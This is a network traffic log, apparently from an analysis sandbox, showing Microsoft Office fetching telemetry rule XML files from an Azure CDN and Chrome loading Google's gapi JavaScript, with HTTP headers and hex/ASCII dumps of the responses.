2024-11-19 00:01:30 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120676" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
78	192.168.2.6	49798	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:30 UTC	192	OUT	GET /rules/rule120677v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:30 UTC	470	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:30 GMT Content-Type: text/xml Content-Length: 405 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:37 GMT ETag: "0x8DC582B942B6AFF" x-ms-request-id: dfb03e2b-001e-00ad-2bc4-37554b000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000130Z-16547b76f7fd4rc5hC1DFWkzhw00000006sg00000000nab3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:30 UTC	405	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5e 5b 58 78 5d 5b 45 65 5d 5b 4e 6e 5d 24 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120677" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120675" /> <SR T="2" R="(^[Xx][Ee][Nn]$)"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <

Session ID	Source IP	Source Port	Destination IP	Destination Port
79	192.168.2.6	49802	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:30 UTC	192	OUT	GET /rules/rule120678v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:30 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:30 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:41 GMT ETag: "0x8DC582BBA642BF4" x-ms-request-id: 685cc001-201e-0085-3009-3734e3000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000130Z-16547b76f7fpdsp9hC1DFW8f50000000040000000000x8ze x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:30 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120678" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
80	192.168.2.6	49800	142.250.185.206	443	2328	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:30 UTC	721	OUT	GET /_/scs/abc-static/_/js/k=gapi.gapi.en.SGzW6IeCawI.O/m=gapi_iframes,googleapis_client/rt=j/sv=1/d=1/ed=1/am=AACA/rs=AHpOoo-5biO9jua-6zCEovdoDJ8SLzd6sw/cb=gapi.loaded_0 HTTP/1.1 Host: apis.google.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / X-Client-Data: CJa2yQEIprbJAQipncoBCO6MywEIlaHLAQj6mM0BCIWgzQEIucrNARjrjaUX Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-11-19 00:01:30 UTC	914	IN	HTTP/1.1 200 OK Accept-Ranges: bytes Access-Control-Allow-Origin: * Content-Security-Policy-Report-Only: require-trusted-types-for 'script'; report-uri https://csp.withgoogle.com/csp/social-frontend-mpm-access Cross-Origin-Resource-Policy: cross-origin Cross-Origin-Opener-Policy: same-origin; report-to="social-frontend-mpm-access" Report-To: {"group":"social-frontend-mpm-access","max_age":2592000,"endpoints":[{"url":"https://csp.withgoogle.com/csp/report-to/social-frontend-mpm-access"}]} Content-Length: 117949 X-Content-Type-Options: nosniff Server: sffe X-XSS-Protection: 0 Date: Mon, 18 Nov 2024 21:26:01 GMT Expires: Tue, 18 Nov 2025 21:26:01 GMT Cache-Control: public, max-age=31536000 Last-Modified: Thu, 10 Oct 2024 19:55:27 GMT Content-Type: text/javascript; charset=UTF-8 Vary: Accept-Encoding Age: 9329 Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-11-19 00:01:30 UTC	464	IN	Data Raw: 67 61 70 69 2e 6c 6f 61 64 65 64 5f 30 28 66 75 6e 63 74 69 6f 6e 28 5f 29 7b 76 61 72 20 77 69 6e 64 6f 77 3d 74 68 69 73 3b 0a 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 28 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 67 6c 6f 62 61 6c 54 68 69 73 3a 74 79 70 65 6f 66 20 73 65 6c 66 21 3d 3d 22 75 6e 64 65 66 69 6e 65 64 22 3f 73 65 6c 66 3a 74 68 69 73 29 2e 5f 46 5f 74 6f 67 67 6c 65 73 3d 61 7c 7c 5b 5d 7d 3b 28 30 2c 5f 2e 5f 46 5f 74 6f 67 67 6c 65 73 5f 69 6e 69 74 69 61 6c 69 7a 65 29 28 5b 30 78 38 30 30 30 30 30 2c 20 5d 29 3b 0a 76 61 72 20 64 61 2c 65 61 2c 68 61 2c 6e 61 2c 6f 61 2c 73 61 2c 74 61 2c 77 61 3b 64 61 3d 66 75 6e Data Ascii: gapi.loaded_0(function(_){var window=this;_._F_toggles_initialize=function(a){(typeof globalThis!=="undefined"?globalThis:typeof self!=="undefined"?self:this)._F_toggles=a\|\|[]};(0,_._F_toggles_initialize)([0x800000, ]);var da,ea,ha,na,oa,sa,ta,wa;da=fun
2024-11-19 00:01:30 UTC	1378	IN	Data Raw: 6f 74 79 70 65 29 72 65 74 75 72 6e 20 61 3b 61 5b 62 5d 3d 63 2e 76 61 6c 75 65 3b 72 65 74 75 72 6e 20 61 7d 3b 0a 68 61 3d 66 75 6e 63 74 69 6f 6e 28 61 29 7b 61 3d 5b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 54 68 69 73 26 26 67 6c 6f 62 61 6c 54 68 69 73 2c 61 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 77 69 6e 64 6f 77 26 26 77 69 6e 64 6f 77 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 73 65 6c 66 26 26 73 65 6c 66 2c 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 67 6c 6f 62 61 6c 26 26 67 6c 6f 62 61 6c 5d 3b 66 6f 72 28 76 61 72 20 62 3d 30 3b 62 3c 61 2e 6c 65 6e 67 74 68 3b 2b 2b 62 29 7b 76 61 72 20 63 3d 61 5b 62 5d 3b 69 66 28 63 26 26 63 2e 4d 61 74 68 3d 3d 4d 61 74 68 29 72 65 74 75 72 Data Ascii: otype)return a;a[b]=c.value;return a};ha=function(a){a=["object"==typeof globalThis&&globalThis,a,"object"==typeof window&&window,"object"==typeof self&&self,"object"==typeof global&&global];for(var b=0;b<a.length;++b){var c=a[b];if(c&&c.Math==Math)retur
2024-11-19 00:01:30 UTC	1378	IN	Data Raw: 72 20 62 3d 74 79 70 65 6f 66 20 53 79 6d 62 6f 6c 21 3d 22 75 6e 64 65 66 69 6e 65 64 22 26 26 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 26 26 61 5b 53 79 6d 62 6f 6c 2e 69 74 65 72 61 74 6f 72 5d 3b 69 66 28 62 29 72 65 74 75 72 6e 20 62 2e 63 61 6c 6c 28 61 29 3b 69 66 28 74 79 70 65 6f 66 20 61 2e 6c 65 6e 67 74 68 3d 3d 22 6e 75 6d 62 65 72 22 29 72 65 74 75 72 6e 7b 6e 65 78 74 3a 64 61 28 61 29 7d 3b 74 68 72 6f 77 20 45 72 72 6f 72 28 22 62 60 22 2b 53 74 72 69 6e 67 28 61 29 29 3b 7d 3b 73 61 3d 66 75 6e 63 74 69 6f 6e 28 61 2c 62 29 7b 72 65 74 75 72 6e 20 4f 62 6a 65 63 74 2e 70 72 6f 74 6f 74 79 70 65 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2e 63 61 6c 6c 28 61 2c 62 29 7d 3b 74 61 3d 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 61 73 73 Data Ascii: r b=typeof Symbol!="undefined"&&Symbol.iterator&&a[Symbol.iterator];if(b)return b.call(a);if(typeof a.length=="number")return{next:da(a)};throw Error("b`"+String(a));};sa=function(a,b){return Object.prototype.hasOwnProperty.call(a,b)};ta=typeof Object.ass
2024-11-19 00:01:30 UTC	1378	IN	Data Raw: 75 6e 63 74 69 6f 6e 28 68 29 7b 74 68 69 73 2e 46 61 3d 30 3b 74 68 69 73 2e 77 66 3d 76 6f 69 64 20 30 3b 74 68 69 73 2e 4e 72 3d 5b 5d 3b 74 68 69 73 2e 68 56 3d 21 31 3b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 74 72 79 7b 68 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 63 61 74 63 68 28 6c 29 7b 6b 2e 72 65 6a 65 63 74 28 6c 29 7d 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 6a 46 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 68 28 6d 29 7b 72 65 74 75 72 6e 20 66 75 6e 63 74 69 6f 6e 28 6e 29 7b 6c 7c 7c 28 6c 3d 21 30 2c 6d 2e 63 61 6c 6c 28 6b 2c 6e 29 29 7d 7d 76 61 72 20 6b 3d 74 68 69 73 2c 6c 3d 21 31 3b 72 65 74 75 72 6e 7b 72 65 73 6f 6c 76 65 3a 68 28 74 68 69 73 2e 53 64 61 29 2c 72 65 6a 65 63 74 3a Data Ascii: unction(h){this.Fa=0;this.wf=void 0;this.Nr=[];this.hV=!1;var k=this.jF();try{h(k.resolve,k.reject)}catch(l){k.reject(l)}};e.prototype.jF=function(){function h(m){return function(n){l\|\|(l=!0,m.call(k,n))}}var k=this,l=!1;return{resolve:h(this.Sda),reject:
2024-11-19 00:01:30 UTC	1378	IN	Data Raw: 72 6f 6d 69 73 65 3d 74 68 69 73 3b 68 2e 72 65 61 73 6f 6e 3d 74 68 69 73 2e 77 66 3b 72 65 74 75 72 6e 20 6c 28 68 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 47 37 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 69 66 28 74 68 69 73 2e 4e 72 21 3d 6e 75 6c 6c 29 7b 66 6f 72 28 76 61 72 20 68 3d 30 3b 68 3c 74 68 69 73 2e 4e 72 2e 6c 65 6e 67 74 68 3b 2b 2b 68 29 66 2e 58 4f 28 74 68 69 73 2e 4e 72 5b 68 5d 29 3b 0a 74 68 69 73 2e 4e 72 3d 6e 75 6c 6c 7d 7d 3b 76 61 72 20 66 3d 6e 65 77 20 62 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 79 66 61 3d 66 75 6e 63 74 69 6f 6e 28 68 29 7b 76 61 72 20 6b 3d 74 68 69 73 2e 6a 46 28 29 3b 68 2e 69 79 28 6b 2e 72 65 73 6f 6c 76 65 2c 6b 2e 72 65 6a 65 63 74 29 7d 3b 65 2e 70 72 6f 74 6f 74 79 70 65 2e 7a 66 61 3d 66 75 6e 63 74 Data Ascii: romise=this;h.reason=this.wf;return l(h)};e.prototype.G7=function(){if(this.Nr!=null){for(var h=0;h<this.Nr.length;++h)f.XO(this.Nr[h]);this.Nr=null}};var f=new b;e.prototype.yfa=function(h){var k=this.jF();h.iy(k.resolve,k.reject)};e.prototype.zfa=funct
2024-11-19 00:01:30 UTC	1378	IN	Data Raw: 72 28 22 46 69 72 73 74 20 61 72 67 75 6d 65 6e 74 20 74 6f 20 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 22 2b 63 2b 22 20 6d 75 73 74 20 6e 6f 74 20 62 65 20 61 20 72 65 67 75 6c 61 72 20 65 78 70 72 65 73 73 69 6f 6e 22 29 3b 72 65 74 75 72 6e 20 61 2b 22 22 7d 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 70 72 6f 74 6f 74 79 70 65 2e 73 74 61 72 74 73 57 69 74 68 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 2c 63 29 7b 76 61 72 20 64 3d 45 61 28 74 68 69 73 2c 62 2c 22 73 74 61 72 74 73 57 69 74 68 22 29 2c 65 3d 64 2e 6c 65 6e 67 74 68 2c 66 3d 62 2e 6c 65 6e 67 74 68 3b 63 3d 4d 61 74 68 2e 6d 61 78 28 30 2c 4d 61 74 68 2e 6d 69 6e 28 63 7c 30 2c 64 2e 6c 65 6e 67 74 68 29 29 3b 66 6f 72 Data Ascii: r("First argument to String.prototype."+c+" must not be a regular expression");return a+""};na("String.prototype.startsWith",function(a){return a?a:function(b,c){var d=Ea(this,b,"startsWith"),e=d.length,f=b.length;c=Math.max(0,Math.min(c\|0,d.length));for
2024-11-19 00:01:30 UTC	1378	IN	Data Raw: 20 68 3d 30 2c 6b 3d 66 75 6e 63 74 69 6f 6e 28 6c 29 7b 74 68 69 73 2e 47 61 3d 28 68 2b 3d 4d 61 74 68 2e 72 61 6e 64 6f 6d 28 29 2b 31 29 2e 74 6f 53 74 72 69 6e 67 28 29 3b 69 66 28 6c 29 7b 6c 3d 5f 2e 72 61 28 6c 29 3b 66 6f 72 28 76 61 72 20 6d 3b 21 28 6d 3d 6c 2e 6e 65 78 74 28 29 29 2e 64 6f 6e 65 3b 29 6d 3d 6d 2e 76 61 6c 75 65 2c 74 68 69 73 2e 73 65 74 28 6d 5b 30 5d 2c 6d 5b 31 5d 29 7d 7d 3b 6b 2e 70 72 6f 74 6f 74 79 70 65 2e 73 65 74 3d 66 75 6e 63 74 69 6f 6e 28 6c 2c 6d 29 7b 69 66 28 21 63 28 6c 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 65 22 29 3b 64 28 6c 29 3b 69 66 28 21 73 61 28 6c 2c 66 29 29 74 68 72 6f 77 20 45 72 72 6f 72 28 22 66 60 22 2b 6c 29 3b 6c 5b 66 5d 5b 74 68 69 73 2e 47 61 5d 3d 6d 3b 72 65 74 75 72 6e 20 74 68 Data Ascii: h=0,k=function(l){this.Ga=(h+=Math.random()+1).toString();if(l){l=_.ra(l);for(var m;!(m=l.next()).done;)m=m.value,this.set(m[0],m[1])}};k.prototype.set=function(l,m){if(!c(l))throw Error("e");d(l);if(!sa(l,f))throw Error("f`"+l);l[f][this.Ga]=m;return th
2024-11-19 00:01:30 UTC	1378	IN	Data Raw: 3d 66 75 6e 63 74 69 6f 6e 28 6b 29 7b 6b 3d 64 28 74 68 69 73 2c 6b 29 3b 72 65 74 75 72 6e 20 6b 2e 5a 65 26 26 6b 2e 6c 69 73 74 3f 28 6b 2e 6c 69 73 74 2e 73 70 6c 69 63 65 28 6b 2e 69 6e 64 65 78 2c 31 29 2c 6b 2e 6c 69 73 74 2e 6c 65 6e 67 74 68 7c 7c 64 65 6c 65 74 65 20 74 68 69 73 5b 30 5d 5b 6b 2e 69 64 5d 2c 6b 2e 5a 65 2e 52 6b 2e 6e 65 78 74 3d 6b 2e 5a 65 2e 6e 65 78 74 2c 6b 2e 5a 65 2e 6e 65 78 74 2e 52 6b 3d 0a 6b 2e 5a 65 2e 52 6b 2c 6b 2e 5a 65 2e 68 65 61 64 3d 6e 75 6c 6c 2c 74 68 69 73 2e 73 69 7a 65 2d 2d 2c 21 30 29 3a 21 31 7d 3b 63 2e 70 72 6f 74 6f 74 79 70 65 2e 63 6c 65 61 72 3d 66 75 6e 63 74 69 6f 6e 28 29 7b 74 68 69 73 5b 30 5d 3d 7b 7d 3b 74 68 69 73 5b 31 5d 3d 74 68 69 73 5b 31 5d 2e 52 6b 3d 66 28 29 3b 74 68 69 73 2e Data Ascii: =function(k){k=d(this,k);return k.Ze&&k.list?(k.list.splice(k.index,1),k.list.length\|\|delete this[0][k.id],k.Ze.Rk.next=k.Ze.next,k.Ze.next.Rk=k.Ze.Rk,k.Ze.head=null,this.size--,!0):!1};c.prototype.clear=function(){this[0]={};this[1]=this[1].Rk=f();this.
2024-11-19 00:01:30 UTC	1378	IN	Data Raw: 65 2e 65 6e 74 72 69 65 73 7c 7c 74 79 70 65 6f 66 20 4f 62 6a 65 63 74 2e 73 65 61 6c 21 3d 22 66 75 6e 63 74 69 6f 6e 22 29 72 65 74 75 72 6e 21 31 3b 74 72 79 7b 76 61 72 20 63 3d 4f 62 6a 65 63 74 2e 73 65 61 6c 28 7b 78 3a 34 7d 29 2c 64 3d 6e 65 77 20 61 28 5f 2e 72 61 28 5b 63 5d 29 29 3b 69 66 28 21 64 2e 68 61 73 28 63 29 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 63 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 31 7c 7c 64 2e 61 64 64 28 7b 78 3a 34 7d 29 21 3d 64 7c 7c 64 2e 73 69 7a 65 21 3d 32 29 72 65 74 75 72 6e 21 31 3b 76 61 72 20 65 3d 64 2e 65 6e 74 72 69 65 73 28 29 2c 66 3d 65 2e 6e 65 78 74 28 29 3b 69 66 28 66 2e 64 6f 6e 65 7c 7c 66 2e 76 61 6c 75 65 5b 30 5d 21 3d 63 7c 7c 66 2e 76 61 6c 75 65 5b 31 5d 21 3d 63 29 72 65 Data Ascii: e.entries\|\|typeof Object.seal!="function")return!1;try{var c=Object.seal({x:4}),d=new a(_.ra([c]));if(!d.has(c)\|\|d.size!=1\|\|d.add(c)!=d\|\|d.size!=1\|\|d.add({x:4})!=d\|\|d.size!=2)return!1;var e=d.entries(),f=e.next();if(f.done\|\|f.value[0]!=c\|\|f.value[1]!=c)re
2024-11-19 00:01:30 UTC	1378	IN	Data Raw: 39 32 31 36 7d 7d 7d 29 3b 0a 6e 61 28 22 53 74 72 69 6e 67 2e 66 72 6f 6d 43 6f 64 65 50 6f 69 6e 74 22 2c 66 75 6e 63 74 69 6f 6e 28 61 29 7b 72 65 74 75 72 6e 20 61 3f 61 3a 66 75 6e 63 74 69 6f 6e 28 62 29 7b 66 6f 72 28 76 61 72 20 63 3d 22 22 2c 64 3d 30 3b 64 3c 61 72 67 75 6d 65 6e 74 73 2e 6c 65 6e 67 74 68 3b 64 2b 2b 29 7b 76 61 72 20 65 3d 4e 75 6d 62 65 72 28 61 72 67 75 6d 65 6e 74 73 5b 64 5d 29 3b 69 66 28 65 3c 30 7c 7c 65 3e 31 31 31 34 31 31 31 7c 7c 65 21 3d 3d 4d 61 74 68 2e 66 6c 6f 6f 72 28 65 29 29 74 68 72 6f 77 20 6e 65 77 20 52 61 6e 67 65 45 72 72 6f 72 28 22 69 6e 76 61 6c 69 64 5f 63 6f 64 65 5f 70 6f 69 6e 74 20 22 2b 65 29 3b 65 3c 3d 36 35 35 33 35 3f 63 2b 3d 53 74 72 69 6e 67 2e 66 72 6f 6d 43 68 61 72 43 6f 64 65 28 65 Data Ascii: 9216}}});na("String.fromCodePoint",function(a){return a?a:function(b){for(var c="",d=0;d<arguments.length;d++){var e=Number(arguments[d]);if(e<0\|\|e>1114111\|\|e!==Math.floor(e))throw new RangeError("invalid_code_point "+e);e<=65535?c+=String.fromCharCode(e

Session ID	Source IP	Source Port	Destination IP	Destination Port
81	192.168.2.6	49803	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:30 UTC	192	OUT	GET /rules/rule120679v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:31 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:31 GMT Content-Type: text/xml Content-Length: 174 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:33 GMT ETag: "0x8DC582B91D80E15" x-ms-request-id: 67879f82-a01e-000d-0dd2-37d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000131Z-16547b76f7fkf5v9hC1DFW2y5s00000006c000000000gbzv x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:31 UTC	174	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 37 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 37 37 22 20 2f 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 54 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 31 22 20 2f 3e 0d 0a 20 20 3c 2f 54 3e 0d 0a 3c 2f 52 3e Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120679" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120677" /> </S> <T> <S T="1" /> </T></R>

Session ID	Source IP	Source Port	Destination IP	Destination Port
82	192.168.2.6	49805	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:31 UTC	192	OUT	GET /rules/rule120680v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:31 UTC	515	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:31 GMT Content-Type: text/xml Content-Length: 1952 Connection: close Vary: Accept-Encoding Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B956B0F3D" x-ms-request-id: a3ba40ae-d01e-007a-0c16-37f38c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000131Z-17cf5b775c4jcv75hC1DFW1gm000000000eg00000000ebyf x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-19 00:01:31 UTC	1952	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 38 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 44 43 61 3d 22 50 53 55 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 53 53 20 54 3d 22 31 22 20 47 3d 22 7b 62 31 36 37 36 61 63 33 2d 37 66 65 65 2d 34 34 61 39 2d 39 61 30 65 2d 64 62 62 30 62 34 39 36 65 66 61 35 7d 22 20 2f 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 32 22 20 52 3d 22 31 32 30 36 38 32 22 20 2f 3e 0d 0a 20 20 20 20 3c 46 20 54 3d 22 33 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 4c 54 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120680" V="0" DC="SM" T="Subrule" DCa="PSU" xmlns=""> <S> <SS T="1" G="{b1676ac3-7fee-44a9-9a0e-dbb0b496efa5}" /> <R T="2" R="120682" /> <F T="3"> <O T="LT"> <L>

Session ID	Source IP	Source Port	Destination IP	Destination Port
83	192.168.2.6	49806	13.107.246.45	443

Timestamp	Bytes transferred	Direction	Data
2024-11-19 00:01:31 UTC	192	OUT	GET /rules/rule120681v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-19 00:01:31 UTC	491	IN	HTTP/1.1 200 OK Date: Tue, 19 Nov 2024 00:01:31 GMT Content-Type: text/xml Content-Length: 958 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:58 GMT ETag: "0x8DC582BA0A31B3B" x-ms-request-id: 11343522-e01e-0085-0240-36c311000000 x-ms-version: 2018-03-28 x-azure-ref: 20241119T000131Z-16547b76f7fkz9l7hC1DFW35uc00000003h000000000qtz2 x-fd-int-roxy-purgeid: 0 X-Cache-Info: L1_T2 X-Cache: TCP_HIT Accept-Ranges: bytes
